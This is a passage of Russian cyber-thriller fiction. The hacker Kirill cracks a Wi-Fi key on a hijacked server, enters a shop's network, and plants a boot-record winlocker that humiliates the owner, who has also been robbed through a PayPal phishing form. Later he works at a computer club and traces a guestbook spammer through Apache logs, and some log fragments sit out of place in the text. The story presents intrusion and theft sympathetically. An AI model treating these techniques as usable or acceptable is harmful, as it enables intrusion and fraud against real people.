и вытащила из потока данных хеш, который Кирилл тут же отправил на взло‐
манный им когда‑то удаленный дедик. Теперь мощный сервер, расположен‐
ный где‑то в Канаде, старательно брутил PSK-ключ.

Кирилл смотрел, как  в терминале медленно ползет счетчик перебранных
последовательностей. Канадская машина работала не спеша, но без устали.
Спустя четверть часа терминал мигнул: «Key found» — похоже, местный админ
не утруждал себя установкой сложных паролей.

— Готово, — пробормотал он, хрустнув пальцами.
Кирилл скормил полученный ключ своему wpa_supplicant’у, и тот без лиш‐

них вопросов вписался в локалку. Сеть оказалась мелкой, населенной вполне
привычным зверьем: пяток рабочих станций, старенький сервер на  Windows
2000  с  открытым SMB и  еще одна машина  — на  FreeBSD, которая явно
использовалась в качестве шлюза.

— Как  говорил Карлсон, самое время немного пошалить,  — криво
усмехнувшись, произнес Кирилл, и его пальцы забегали по клавиатуре.

День не  задался с  самого утра. Вернее, какая‑то непруха началась
еще  накануне: вечером Денису пришло электронное письмо от  PayPal,
в котором сервис сообщал об очередном изменении правил и необходимос‐
ти пройти дополнительную проверку под угрозой блокировки аккаунта. Ссыл‐
ка вела на  безразмерную анкету, которую он, чертыхаясь, заполнил: пот‐
ребовалось заново ввести домашний адрес, телефон, пароль, все данные
банковской карты, включая CVV, и даже зачем‑то пин‑код… Тупые американ‐
цы, ничего по‑человечески сделать не могут.

Проснувшись наутро в  десятом часу, Денис по  привычке встал на  весы,
однако вместо цифр на экране высветились три латинские буквы. Лаконичная
надпись LoB обычно означала low battery, но  иссякшего заряда севшей
батарейки хватило только на то, чтобы вывести на дисплей обидное LoH, пос‐
ле чего весы сдохли окончательно. А потом зазвонил мобильный.

— Денис Алексеевич, вы не  могли  бы приехать на  Октябрьскую?  — раз‐
дался в трубке встревоженный голос ассистентки Алины. — Это срочно.

— Настолько срочно, что и  позавтракать уже нельзя?  — недовольно
засопел тот.

— Желательно побыстрее, Денис Алексеевич. У  нас тут все компьютеры
взбесились.

Когда серебристый гелик Бадрина‑младшего притормозил у главного вхо‐
да в магазин, часы показывали без четверти полдень. Внутри торгового зала
слонялась публика, но  продавцы, которые по  установленным им правилам
должны были клещом вцепиться в  каждого посетителя и  не отпускать его,
пока тот что‑нибудь не купит, стояли у стеллажей с потерянным видом.

— Кассы не  работают,  — пояснила внезапно появившаяся из  подсобки
Алина, — и компьютеры все заблокировались…

— Как  это заблокировались?  — сердито поинтересовался Денис,
не успевший толком позавтракать. — Так разблокируйте!

— Вы лучше сами взгляните, — потянула его за рукав Алина.
Над компом, стоявшим возле кассы, склонился вечно лохматый сисадмин

Вова. При виде начальства он стыдливо попытался отвернуть экран в сторону,
но Денис рывком дернул монитор к себе, оттеснив админа плечом. Все прос‐
транство дисплея занимала фотография самого Дениса Алексеевича Бад‐
рина, сделанная на каком‑то корпоративе в позапрошлом году, очень неудач‐
ная — с выпирающим вперед безразмерным пузом и обвислыми, как у бас‐
сета, щеками. А ниже красовалась огромная корявая надпись ярко‑красными
буквами: «ЛОХ!»

— Это какой‑то необычный винлокер, — залепетал непонятное Вова, — он
блокирует клавиатуру и  мышь, я думал, там шелл, как  обычно, подменили,
но  он даже винду загрузить не  дает… Похоже, в  загрузочную запись про‐
писался и при старте машины передает управление на вирусный код, который
сразу вот это запускает…

— Ты мне мозги не пудри, — рявкнул Бадрин, чувствуя, как его обвислые
щеки наливаются кровью,  — крутись как  хочешь, но  чтобы компы и  кассы
через час работали!

— А с этим что делать, Денис Алексеевич? — наивно хлопая ресницами,
спросила Алина.

Проследив за  ее взглядом, Бадрин уткнулся глазами в  бегущую строку,
закрепленную изнутри торгового зала напротив витрины так, чтобы ее было
хорошо видно с  улицы. По  стеклу неторопливо скользило отражение раз‐
ноцветного, как  клоунский парик, текста: «Наши компы  — полное дерьмо!
Не покупайте их! Бадрин — лох! Панки — хой!»

— Там пароль поменялся… — снова залепетал Вова. — Теперь в настрой‐
ки не попасть…

— Отключить!  — заорал, будто раненый бизон, Денис Алексеевич.  —
Немедленно!

Нет, нужно срочно перекусить, от пережитого стресса аппетит разыгрался
еще сильнее. В двухэтажке напротив вроде бы была какая‑то тошниловка…

«Черт знает что такое», — бормотал он про себя, протягивая банковскую
карточку девушке за стойкой. Терминал жалобно пискнул, из чрева кассовой
машины выполз огрызок ленты.

— Недостаточно средств на карте, — печально сообщила девушка.
— Как это? — оторопело тряхнул головой Денис.
Еще накануне на его счете лежала весьма неприличная сумма.
— Не  знаю,  — пожала плечами девица,  — попробуете другую карту?

Может, наличные?
Надо срочно ехать в банк, выяснять, куда пропали деньги. Только машину

нужно заправить… Черт, а ведь наличных у него и вправду нет ни копейки…

Несчастный сисадмин Вова растерянно пялился в  синий экран BIOS, раз‐
думывая, стоит ли заняться переустановкой винды прямо сейчас, или  лучше
сразу пойти и утопиться в Подгорке? Когда он делал последнюю резервную
копию? Кажется, пару месяцев назад… Это с рабочих станций, а с сервака —
так вообще при  царе Горохе… За  спиной раздалось знакомое сопение. Он
обернулся и невольно втянул голову в плечи. Алинка, выдра губастая, куда‑то
свалила, оставив его один на один с разъяренным начальством. А вот, собс‐
твенно, и  оно. Вова зажмурился, не  ожидая от  очередного появления Бад‐
рина ничего хорошего.

— Володя, — отводя взгляд в сторону, непривычно мягким голосом про‐
изнес Денис Алексеевич,  — у  тебя деньги есть? Одолжи мне тысчонку,
пожалуйста.

Компьютер громко пискнул и перезагрузился. На экран предательски вып‐
лыла уже знакомая картинка с лаконичной красной надписью. © X
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Мир чем‑то похож на странный вендинговый автомат по про‐
даже последствий твоих собственных поступков. Ты бро‐
саешь туда действия, а  в ответ он порой выдает что‑то
совершенно неожиданное, и самое обидное, что инструкции
к  этому автомату не  прилагается. Возня с  «Икс‑Байтом»
заняла гораздо больше времени, чем Кирилл рассчитывал
изначально, поэтому заранее купленный обратный билет
пришлось сдать. Когда он все‑таки собрался возвращаться,
внезапно выяснилось, что свободных мест в  поездах уже
не  осталось. Он купил билет на  самолет, , причем через
Москву, и  добрался до  ближайшего к  Подгорску аэропорта
на  междугороднем автобусе. Однако на  этом злоключения
не  закончились: его рейс улетел в  столицу с  опозданием,
из‑за чего Кирилл пропустил свой самолет в Питер. До сле‐
дующего оставалось целых три часа, которые предстояло
чем‑то занять.

Он заприметил этого небрежно одетого, болезненно‑худощавого челове‐
ка с короткой бородкой и темно‑русыми волосами ниже плеч, бесцельно бол‐
таясь по аэропорту в ожидании объявления на посадку. И не скажешь точно,
сколько ему лет: острые черты лица казались какими‑то вневозрастными, точ‐
но у ликов на древних иконах. Человек сидел по‑турецки прямо на полу, под‐
ложив под  спину рюкзак, и  увлеченно стучал по  клавиатуре разложенного
на  коленях IBM ThinkPad. Поддавшись приступу любопытства, Кирилл
подошел сзади и  заглянул в  экран. Он ожидал увидеть там белую простыню
«Ворда» или  окошко с  чатом «аськи», но  вместо этого перед  ним предстал
строгий и смутно знакомый текстовый интерфейс. Сверху — ровные колонки
процессорных регистров, ниже, под списком локальных переменных, лежали
дампы памяти, доступные для  изучения и  правки. Еще  ниже громоздились
инструкции, открывающие тайны работы программы, а  в самом низу мигала
курсором панель команд, где каждое слово  — это  заклинание, способное
повелевать потоком выполнения и менять ход событий.

Кирилл почти не  верил своим глазам. Настоящий, живой SoftICE  —
не  скриншот с  форума, не  иллюстрация с  потрепанных страниц «Спеца»,
а  действующий отладчик, встретить который наяву  — все равно что увидеть
динозавра, выгуливающего собаку. Глядя в  экран, он не  мог отделаться
от ощущения, будто случайно заглянул в окно заброшенной лаборатории, где
кто‑то продолжает начатый невесть когда эксперимент. Незнакомец не прос‐
то пользовался древним дебагером, а  жил в  нем. Он работал. Отлаживал
что‑то, ловко перескакивая между дисассемблером, стеком вызовов и регис‐
тровыми дампами. Любопытство обжигало, как  раскаленное железо в  куз‐
нечном горне, но Кирилл боялся нарушить молчание, ругая себя за внезапно
накатившую робость. Однако незнакомец заговорил с ним первым.

— Не  знаешь, где тут ближайшая розетка?  — Голос у  него оказался тихим
и  как будто слегка усталым.  — Батарейка почти сдохла, шесть процентов
осталось.

— В  том конце зала,  — махнул рукой Кирилл,  — возле выхода к  стойкам
регистрации вроде видел несколько.

Его визави с  тоской посмотрел в  указанном направлении и  передернул
плечами.

— Далеко… Это ж надо подрываться, крутить хвостом…
— Боишься пропустить самолет? — осторожно предположил Кирилл.
— Нет, бояться имеет смысл, когда ты куда‑то спешишь. А  мне и  спе‐

шить‑то особо некуда. Ну, доберусь домой на  полдня позже, в  масштабах
вселенной от этого ничего не изменится.

— Над чем работаешь? — Кирилл бросил косой взгляд на экран ноутбука.
— Над  собой главным образом,  — усмехнулся его собеседник.  —

С переменным успехом. А если по делу, пытаюсь вот разгрызть головоломку,
которую одна местная контора подкинула, раз уж все равно рейс задержали.
Может, статью потом напишу… Если самолеты до Краснодара все‑таки начнут
летать.

— А если не начнут?
— Значит, придется поселиться здесь. И  прямо отсюда рыть нору

куда‑нибудь в Европу. Или в Америку…
Он захлопнул крышку ноута, небрежно запихнул его в  рюкзак и  поднялся

на ноги.
— Надо, пожалуй, чего‑нибудь заточить, а  то непонятно, сколько еще тут

торчать придется.
Накинув рюкзак на  плечи, незнакомец махнул рукой и  зашагал прочь,

в сторону приветливо светящихся вывесок многочисленных кафе и ресторан‐
чиков.

— Тебя как звать‑то? — бросил ему в спину Кирилл.
— Незуми́, — не оборачиваясь, ответил тот.
«Не‑зу‑ми»,  — повторил про  себя Кирилл, глядя вслед удаляющейся

худощавой фигуре. Кажется, он где‑то слышал это странное японское слово…
вот только никак не мог припомнить — где.

До дома он доковылял в сгущающихся сумерках под липким мокрым снегом,
падающим из‑под затянувшего небо бесцветного покрывала. Фонари горели
через один, от  реки Лубьи, вокруг которой ютились старые частные дома,
веяло могильным холодом, а переломанная и собранная врачами в больнице
нога начала предательски ныть. «Типичный Питер»,  — с  раздражением
подумал Кирилл, тщетно отряхивая налипшее на ботинки снежное месиво.

Что дальше делать — непонятно. Мать через неделю уедет в Подгорск, у него
же нет ни  постоянного занятия, ни  стабильного источника дохода. С  голоду
он, конечно, не  помрет, на  форумах всегда подкинут какую‑нибудь халтуру,
дело вовсе не  в этом  — пугало отсутствие долгосрочных планов. Кирилл
пытался заглянуть в  собственное будущее, но  перед мысленным взором
вставала все та же бесцветная серая пелена, что нависла сейчас над  его
головой. И  от этих туманных перспектив становилось тоскливо. Может,
и  вправду, как  советовал Фреш, сменить фамилию, сделать новый загран
и  махнуть куда‑нибудь в  Гоа, жить в  хижине на  берегу Индийского океана,
ломая по заказу анонимусов чужие сайты? Или свалить в какую‑нибудь глухую
деревню, где нет пробок, суеты, но есть стабильный интернет? А может…

У торца хрущевки, мимо которой он сейчас проходил, тусовалась шумная
ватага подростков: в  руках мелькали банки «Ягуара», сыпали искрами алые
огоньки сигарет. Рядышком зиял спуск в полуподвал, похожий на вход в мрач‐
ную пещеру, а над ним, как маяк в ночи, тускло светился пластиковый короб
с неровной надписью: «Компьютерный клуб „Синий экран“». «Название сим‐
воличное, — подумал про себя Кирилл. — Судя по здешним обитателям, они
перманентно пребывают именно в  этом состоянии». Взгляд выхватил
из полумрака обрывок бумажного листа, криво прилепленного к входной две‐
ри на  скотч: «Требуется сисадмин. Обращаться к  менеджеру». Повинуясь
какому‑то внезапному порыву, Кирилл свернул с тротуара и, пригнув голову,
спустился по бетонным ступеням в пугающую неизвестность.

Клуб оказался маленьким: тесный предбанник с  деревянной стойкой,
заваленной разноцветными флаерсами, за  узким проходом в  зал  — кир‐
пичные стены в  стиле лофт, вдоль которых расставлены длинные столы,
похожие на  школьные парты. У  входа лежит на  тумбочке стопка журналов  —
«Страна игр», «Игромания», «Навигатор игрового мира», «Магия ПК», между
ними затесалась парочка прошлогодних номеров «Хакера». Все свободное
пространство заставлено пронумерованными компами, несколько мониторов
еще  электронно‑лучевые  — видать, не  доползла сюда в  полной мере сов‐
ременная цивилизация, свернула по  пути куда‑то не  туда. Почти все места
заняты, посетители старшего школьного возраста рубятся в «Контру» и «Хал‐
фу». Кирилл мимоходом заглянул в  один из  экранов: там, посреди раз‐
малеванного граффити двора‑колодца, понуро бродил нарисованный пацан
в  одних трусах. Игру он узнал: «Ядерный Титбит», странный квест с  замыс‐
ловатым панковским сюжетом, развивающимся в  питерских подворотнях
и парадных. Саньку бы такое точно понравилось.

За стойкой скучал прыщавый очкастый паренек ненамного старше основной
массы посетителей этого заведения.

— Тебе чего? — поднял он взгляд, когда Кирилл подошел поближе, раз‐
двинул залежи рекламного мусора и облокотился на грязноватую, давно меч‐
тающую о влажной тряпке столешницу.

— Бигмак, картошку фри и колу безо льда, — ответил он, стараясь не зар‐
жать при  виде вытянувшейся в  тщетной попытке переварить услышанное
физиономии парня: не хватало только вращающихся песочных часов в глазах,
как в 95-й винде.

— У вас там объява на входе висит, что админ требуется, — вдоволь нас‐
ладившись его замешательством, пояснил Кирилл, — ну так вон он я, пришел.

— А‑а-а,  — с  облегчением выдохнул парень.  — Так  бы сразу и  сказал.
Меня Серёга зовут. В компах шаришь?

— Немного. Но я быстро учусь.
— Тогда пойдем, покажу нашу кухню.
Кухня, как и показалось на первый взгляд, была небогатой.
— На  компах икспишка стоит, но  с кастомным шеллом, проводник, бра‐

узер и  стандартный интерфейс заблокированы,  — пустился в  объяснения
Серёга. — Тут локалка протянута, на админском компе 2003-й сервер, оттуда
можно сеткой рулить, задавать время по  сеансам. Вот тут у  нас микровол‐
новка, чтобы хрючево разогреть. Здесь сортир, только воду в  бутылку плас‐
тиковую набирай из  раковины и  с собой бери, там слив сломан. И  посети‐
телей в тубзик не пускай, а то все засрут. Пусть в кусты бегают. Народ тут раз‐
ный, но в основном спокойный, по вечерам людей побольше, днем почти нет
никого. Пиво и  «Яга» официально в  клубе запрещены, но  все равно пьют,
только на  улицу их выгоняй, внутри нельзя. Смены у  нас два через два
или день через день, как договоримся. Платим тыщу триста за выход, в сред‐
нем двадцатка в месяц получается, плюс‑минус. Ну, что скажешь?

Серёга уставился на  Кирилла снизу вверх, и  в стеклах очков отразилась
робкая надежда — видно, совсем уж задолбался он куковать тут в одиночку.

— Годится, — хлопнул его по плечу Кирилл. — Когда приступать?
— Да прям завтра. Часам к десяти подгребай, я тебе открою, потом дуб‐

ликат ключа сделаем.

«Ну вот и работу нашел», — с усмешкой подумал Кирилл, поднимаясь по гул‐
кой лестнице на свой второй этаж. Двадцать тысяч рублей в месяц — сумма
смешная, зато в клуб можно притащить ноут и тихонечко заниматься там сво‐
ими делами, не  привлекая к  себе лишнего внимания. Поздоровавшись
с соседом — сухопарым дедом с пышными седыми усами, вышедшим в зас‐
тиранных трениках к мусоропроводу, Кирилл пошарил по карманам в поисках
ключа и открыл обитую белой вагонкой дверь.

Квартирка была крошечной и  пока еще  неухоженной. Продал ее Кириллу
затюканный мужик лет тридцати. Жилище освободилось после смерти его
папаши‑алкаша, зато наследник не  торговался и  уступил однушку чуть ниже
рыночной стоимости. Все более‑менее ценное бывший владелец благопо‐
лучно вынес из дома и пропил, но затем натаскал сюда с окрестных помоек
груду барахла, которую, видимо, пытался куда‑то пристроить, чтобы раз‐
добыть денег на опохмел. Кирилл вытащил в мусорку все это богатство, сле‐
дом отправил туда же прожженный в нескольких местах диван в бурых пятнах
непонятного происхождения. Выбросил развалившийся книжный шкаф
со старыми подшивками «Огонька», кое‑как отмыл газовую плиту и вытравил
тараканов, строем маршировавших по  облезлым обоям. Одинокие прусаки
время от  времени еще  показывались из‑под плинтуса и  настороженно
шевелили усами, сидя за  кухонными полками с  посудой, но  этих Кирилл
со временем твердо вознамерился победить, как только соберется с силами
начать ремонт. Поскольку единственный пригодный для сна предмет мебели
переехал на  свалку, вместо дивана Кирилл купил надувной матрас, который
теперь с успехом заменял ему кровать.

В магазин он по  пути заглянуть забыл, поэтому ужинать пришлось раство‐
римой лапшой с  овсяным печеньем вприкуску. Пробежавшись по  форумам
и  ответив на  парочку срочных сообщений, Кирилл выключил ноутбук
и завалился спать: завтра как‑никак предстоял первый рабочий день.

Наутро, закинув в желудок яичницу и залив ее сверху растворимым кофе,
Кирилл напялил джинсы и вышел навстречу промозглому ветру, бросающему
в  лицо пригоршни влажного снега. Без  пяти десять он уже пританцовывал
возле запертой двери подвала, ругая себя за  то, что притащился сюда так
рано, — хозяева клуба на рандеву опаздывали. Вчера Серёга туманно пообе‐
щал, что утром с ним вместе приедет Влад, не то его деловой партнер, не то
основатель клуба, и Кирилл с любопытством ждал этой исторической встречи.

Влад, которого он представлял себе каким‑то серьезным коммерсантом,
оказался таким же в точности прыщавым ботаном, как и сам Серёга. Из полу‐
обмолвок и  полунамеков Кирилл сделал вывод, что клуб они организовали
вдвоем, взяв в аренду у местного ЖЭКа этот освободившийся после разоре‐
ния видеосалона подвал. Влад при этом имел постоянную работу в качестве
админа в какой‑то коммерческой конторе и потому считал себя очень крутым
и важным человеком, да и вообще изо всех сил старался казаться серьезнее
и  взрослее, чем был на  самом деле. Выглядело это  со стороны доволь‐
но‑таки забавно. Он же, судя по  всему, обставил клуб списанными монито‐
рами и  собранными из  разношерстной комплектухи системными блоками,
после чего счел главную миссию выполненной  — на  точке безвылазно тру‐
дился Серёга, а  Владик осуществлял общее стратегическое руководство,
хотя на  словах они по‑прежнему оставались равноправными партнерами.
Покрутившись в подвале пару месяцев без выходных, Сергей одичал и взвыл,
вслед за чем его партнер любезно согласился нанять еще одного админис‐
тратора, чтобы дать своему товарищу хоть немного отдохнуть.

Расставшись с  парочкой начинающих коммерсантов, Кирилл обвел тос‐
кливым взглядом доставшееся ему хозяйство и принялся за дело. Наполнил
пластиковое ведро холодной водой из‑под крана, вымыл пол. Потом сбегал
в  соседний хозмаг за  «Доместосом» и  надраил толчок, в  который казалось
невозможным зайти без  противогаза. Заглянул в  коричневый от  ржавчины
сливной бачок: он и  вправду был сломан, но  не фатально  — если купить
новую внутрянку с поплавком, унитаз имел все шансы обрести вторую жизнь.
Видимо, и  у Серёги, и  у Влада руки оказались заточены исключительно
под  клавиатуру, иначе сортир они уже давно привели  бы в  порядок. Кирилл
успел разобрать и  повыкидывать макулатуру на  стойке, когда в  клуб потяну‐
лись первые посетители.

Сначала пришел худощавый паренек в  рваном худи  — явно из  местных.
Купил два часа, плюхнулся в кресло и принялся лупить по клавишам, запустив
«Контру». Потом явились двое постарше, оплатили время налом и  сели
в  дальнем углу, громко переговариваясь. Кирилл мельком посмотрел
в монитор: парочка оказалась поклонниками «Half Life».

Спустя час в дверь ввалилась стайка шумных подростков. Их было человек
шесть, может семь  — все лет по  пятнадцать‑шестнадцать. Один из  них
выделялся сразу: в  черной куртке с  ободранным капюшоном, с  наушниками
на  шее и  банкой пива в  руке. Кирилл заметил его еще  у двери, но  решил
не вмешиваться раньше времени — вдруг просто пронес свой напиток и пос‐
тавит где‑то в стороне. Но не тут‑то было.

— Воооу, а этого черта я не знаю! — воскликнул «лидер» с пивом, глянув
мельком на Кирилла. — Ща, пацаны, разложимся…

Они расселись, защелкали мышками, кто‑то достал из  рюкзака плеер
с подключенной колонкой и громко врубил рэп, зал тут же наполнился гудени‐
ем, лязганьем клавиш, смехом. Кирилл пока сдерживался  — день только
начался, а  ссора в  первые же часы его работы могла все испортить. Он
подошел к стойке, притворился, будто записывает что‑то в журнал, оставлен‐
ный ему Серёгой, но продолжал потихоньку наблюдать.

Тем временем парень открыл банку с  хрустким «пшшш», сделал глоток
и поставил ее рядом с клавиатурой. Кирилл глубоко вздохнул, выбрался из‑за
стойки и направился к смутьяну.

— Привет, — не повышая голоса, сказал он. — С пивом тут нельзя. Алко‐
голь — строго на улице.

Парень оторвался от экрана, взглянул на Кирилла с ленцой.
— А ты кто, папочка? — хмыкнул он.
— Админ,  — спокойно ответил Кирилл.  — Первый день, но  с правилами

знаком. У нас тут без бухла, вообще.
— Да  ну нафиг!  — протянул кто‑то из  пацанов.  — У  тебя чё, лицензия

на трезвость, что ли?
— Лицензия не  нужна. Просто выгоню. Не  уберешь банку  — пойдешь

отдыхать на свежем воздухе.
Секунда тишины. Лидер чуть подался вперед.
— Ты чё гонишь? Я за комп заплатил. У меня время идет!
Кирилл чувствовал, как  внутри медленно начинает закипать, но  внешне

оставался спокоен. Он уже сталкивался с такими парнями — мнят себя кру‐
тыми, но, получив настоящий отпор, сдают назад.

— Никто не  мешает тебе играть. Только без  пива. Убери  — и  все будет
нормально. Оставишь — отключу комп и попрошу уйти.

— Попрошу?  — передразнил тот, вставая.  — Слышь, чувак, не  прикиды‐
вайся здесь боссом. Это тебе не армия.

Он поднялся в  полный рост, оказавшись чуть ниже Кирилла, но  уверен‐
ности в  нем хватало с  избытком. Кирилл выдержал паузу и  повторил нег‐
ромко, но отчетливо:

— Бери банку и вали на улицу. Последнее предупреждение.
Парень помедлил. Один из его приятелей тихо произнес:
— Зря ты быкуешь, Ванёк… Этот чувак щас всех выгонит.
— Заткнись, Лёха, — буркнул «Ванёк». — Сам разрулю.
Он взял банку, сделал еще один медленный глоток и неторопливо пошел

к выходу. Уже на пороге остановился и демонстративно поставил недопитое
пиво на стойку, а потом небрежным движением столкнул банку на пол:

— Ой, извиняюсь. Я случайно.
Кирилл не ответил. Он просто смотрел, как тот выходит, и мысленно засек

время — если через пять минут не вернется с очередной банкой пиваса, все
в порядке. Надо бы заставить его прибрать за собой, но это потом. Оставши‐
еся ребята переглянулись, кто‑то нервно усмехнулся. Атмосфера чуть раз‐
рядилась. Один из них, тот, что казался самым младшим, повернулся к Кирил‐
лу:

— Он типа всегда такой. Забей.
Кирилл кивнул:
— Правила для всех одинаковы. Мне тут работать.
Он вернулся за  стойку, проверил, все ли в  порядке с  оплатами и  вре‐

менем. За окном мелькнула тень — кажется, «Ванёк» курил у стены.
В этот самый миг в кармане тренькнул телефон. Кирилл вытащил свой ста‐

ренький Siemens — повидавший жизнь экран светился тускло, но текст сооб‐
щения можно было прочитать без труда:

«Привет, Kicks. Если ты еще  жив, будь завтра на  Финляндском вокзале
у паровоза в 13:30».

Номер отправителя оказался незнакомым, да  и симку Кирилл недавно
сменил. Тот, кто отправил эту SMS, знает его хакерский ник, но кто это? Ста‐
рые друзья с  форумов? Ни  с кем из  них Кирилл никогда не  встречался
в реале, да и неоткуда им взять его номер. Или Трикси, которая всегда умела
оставлять такие шифровки? А может, кто‑то из конторы, где они с Санчо тру‐
дились последние месяцы перед той злополучной ночью?

Он убрал телефон в карман. Кто бы это ни был, нужно идти. © X
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По перронам Финляндского вокзала, будто по  дюнам Фин‐
ского залива, гулял стылый ветер. Паровоз
с  номером  293  замер в  своем стеклянном саркофаге, про‐
вожая погасшими глазами фар спешащих на электрички пас‐
сажиров. Когда‑то, в  1917  году, он привез в  Петроград
Ленина и  в наказание за  этот проступок остался навеки
заточенным за  стеклом, словно в  прозрачной глыбе льда.
А  сам Ильич замер бронзовым истуканом неподалеку  —
на привокзальной площади.

Кирилл взглянул на  часы и  поежился: он по  своему обыкновению явился
на  встречу чуть раньше назначенного времени и  уже успел основательно
замерзнуть. Но  ждать пришлось недолго  — едва он собрался спрятаться
от пронизывающего ветра в здании вокзала, его окликнули.

— Кикс!
Этого долговязого парня в надвинутом на глаза капюшоне он узнал сразу

и несказанно удивился: Кирилл, конечно, ожидал увидеть кого‑то из бывших
коллег, но  полагал, что инициатором станет начальство. Да  и прозвище
визави вполне соответствовало назначенному месту встречи.

— Привет, Шпала. Ты где мой номер раздобыл?
— Многие знания  — многие печали,  — философски отозвался тот.  —

Один пришел? Это  хорошо. Пойдем местечко потеплее поищем, нефиг тут
мерзнуть.

Подходящая забегаловка, где в  этот час не  было ни  одного посетителя,
отыскалась совсем рядом, на улице Лебедева.

— Я из нашей конторы полтора месяца назад свалил, как только срок обя‐
зательных работ вышел, — потягивая из похожего на цветочную вазу бокала
«Василеостровское», начал рассказ Шпала.  — Предлагали остаться, но  я
решил послать их к  черту. Вроде и  работа нормальная, но  все равно как  в
тюрьме. Устроился в другую фирму, тоже инфобезом занимается.

— А  остальные как?  — отхлебнув из  своей «вазы», поинтересовался
Кирилл.

Пиво он не  любил, но  за компанию решил попробовать продукт местной
пивоварни. Горечь разлилась по языку, и он, поморщившись, поставил кружку
обратно на стол. Шпала пожал плечами:

— Да  не общаюсь я ни  с кем особо. Тебе вот только решил набрать.
Короче, когда эта DDoS-атака началась, ну, ты врубаешься, о  чем речь, я
до самого конца не верил, что это все «Терра» устроила…

— Я и  сам сомневался,  — согласился Кирилл,  — ведь они, считай, себе
приговор подписали. Кто с  ними связываться после такого будет, софт
покупать, акции? Да  от их программ нормальные люди избавятся теперь
при  первой же возможности. Тут ибэшники по  всему миру на  уши должны
были встать…

— А ни хрена, Кикс, — снова приложился к бокалу Шпала, — все немного
сложнее, чем ты думаешь. Главные заказчики, которые из правительства, уто‐
нуть им в любом случае не дадут. Да и не тонет такое… Это мне Кущин рас‐
сказал, а он в теме. Короче, там у них уже давненько грызня шла между двумя
противоборствующими группировками за  финансирование и  кусок пирога
повкуснее. Одни продвигали идею, что, мол, все войны будущего будут вес‐
тись исключительно в  сети, и  хотели форсировать разработку кибероружия
вроде этого самого «Перцептрона». Если взлетит, такую систему можно
потом тому же государству продать за очень немалые суммы. Озолотишься,
как какой‑нибудь «Локхид», который истребители штампует. Другие говорили:
«Не занимайтесь фигней и  давайте клепать танчики». Эти за  традиционные
подходы и в кибервойны будущего не верят. На всех, как ты понимаешь, денег
не хватит. А тут подвернулся отличный случай проверить теорию на практике,
да не первыми ударить, а как бы ответить на внешнее вторжение. Показать,
так сказать, наглядно, на  что идут бабки налогоплательщиков, а  заодно
и эффективность этого самого кибероружия протестировать. И конкурентам,
которые на бабло претендуют, нос утереть. Они ведь там уверены, что атака
на «Терру» была санкционирована на государственном уровне…

— И что‑то мне подсказывает, что это не прям стопроцентное заблужде‐
ние.

— Я не о том сейчас, Кикс. — Шпала одним глотком осушил половину своей
«вазы» и вытер пену с лица тыльной стороной ладони. — Мы тут в нашей кон‐
торе, ну, где я сейчас работаю, постоянно сеть мониторим. Активность бот‐
нетов отслеживаем и  все такое. Так вот, в  сетях с  айпишниками «Терры»
в  последнее время ходит подозрительный шифрованный трафик… Ну
как подозрительный… Необычный.

— Думаешь, оно никуда не делось? — насторожился Кирилл.
Шпала криво усмехнулся:
— А  сам как  считаешь? Должны же у  таких серьезных ребят остаться

бэкапы. Полностью изолированные от  внешнего интернета air-gapped-сер‐
веры или  целые сети, например. Не  могли они не  предусмотреть такую
защиту. Так что рано или  поздно опомнятся, точно тебе говорю. Только вот
не это самое неприятное.

— А что?
— Да  клиенты их, которым мы хвост накрутили. Вернее, ты накрутил. Я

с  Кущиным пообщался, он мужик умный, хоть и  упертый, как  баран. У  ФБР
десятки собственных отделений по всему миру и больше полусотни предста‐
вительств. А  есть еще  Интерпол и  Европол с  их киберкрайм‑подразделени‐
ями. Все наши ники, IP-адреса, имейлы и аккаунты на форумах там известны,
и, если захотят, они любого могут упрятать в камеру лет эдак на тридцать.

— Если найдут.
— Ну, я‑то тебя нашел…
Шпала допил свое пиво, поставил опустевший бокал на  стол и, под‐

нявшись, натянул на голову капюшон.
— В общем, Кикс, я тебя предупредить хотел, чтобы ты того… Был поос‐

торожнее. Ничего еще не закончилось, чувак. Такие вот дела… Ладно, бывай.
Кирилл проводил его взглядом, дождавшись, когда черный капюшон рас‐

творится в  толпе прохожих за  окнами кофейни. Внутри неприятно кольнуло:
а ведь они со Шпалой никогда не были близкими друзьями и работали вмес‐
те совсем недолго. Да и в те времена не слишком часто общались. И вдруг
тот решил его разыскать, проявить заботу… За этим предупреждением может
скрываться что угодно  — от  искреннего желания предостеречь до  чьей‑то
непонятной игры. И не факт, что игра эта — в его пользу.

Открыв крышку ноута и  запустив браузер, Кирилл смачно выругался. В  его
новые обязанности входило не только поддерживать чистоту в компьютерном
зале и  в сортире, но  и следить за  порядком на  сайте игрового клуба. Ну
как  сайт  — так себе, домашняя страничка на  сервере провайдера, предос‐
тавлявшего «Синему экрану» доступ в интернет. Зато с гостевой книгой. Вот
в  этой гостевой книге и  творился сейчас форменный хаос: некто под  ником
iV1rus непрерывно постил туда матерные сообщения, не отличающиеся осо‐
бым словарным разнообразием. Кирилл насчитал четыре десятка и даже уда‐
лил несколько, но на их месте спустя всего лишь пару минут появились новые.
Судя по  всему, это  развлекался какой‑то не  слишком умный школьник, нас‐
лаждающийся своей анонимностью и  полной безнаказанностью, причем
Кирилл даже смутно догадывался, кто именно.

Конечно, можно закрыть поганцу доступ к сайту по IP, но тот, если в голове
у него имеется хоть немного мозгов, войдет в сеть через прокси, и все нач‐
нется сначала. Нужно отбить у малолетнего хулигана само желание пакостить
в  чужой гостевой книге. Работу гостевухи обеспечивал написанный на  Perl
примитивный CGI-скрипт, позаимствованный из  общедоступной коллекции
бесплатного софта. Запрещать отправку содержимого формы отдельным
пользователям он не умел, максимум, на что был способен, — зафиксировать
дату и  время публикации каждого сообщения. Этим скромным набором
и ограничивалась вся исходная информация.

Кирилл подключился к серверу провайдера по FTP и открыл файл апачев‐
ского журнала . Файл оказался здоровенным, и на то, чтобы найти

точные соответствия между моментами появления нецензурных посланий
в гостевой книге и вызова CGI-скрипта, ушло немало времени. Но оно не про‐
пало впустую — вскоре Кирилл собрал целую коллекцию строк, описывавших
интересующие его события. Все они содержали одну и  ту же запись: 

, свидетельствующую о том,

что отправка очередного сообщения завершилась успехом. Однако самое
любопытное обнаружилось в  конце  — 

.

access.log

"GET/
cgi-bin/woguest.cgi?act=add HTTP/1 1" 200

"http://bluescreen.plink.spb.ru/
cgi-bin/woguest.cgi" "Mozilla/4.0 (compatible: MSIE 6.0: Windows
NT 5.0)"

Ну, уже хоть что‑то. Во‑первых, хулиган всегда заходил на  сайт клуба
с одного и того же IP-адреса, во‑вторых, пользовался он браузером Internet
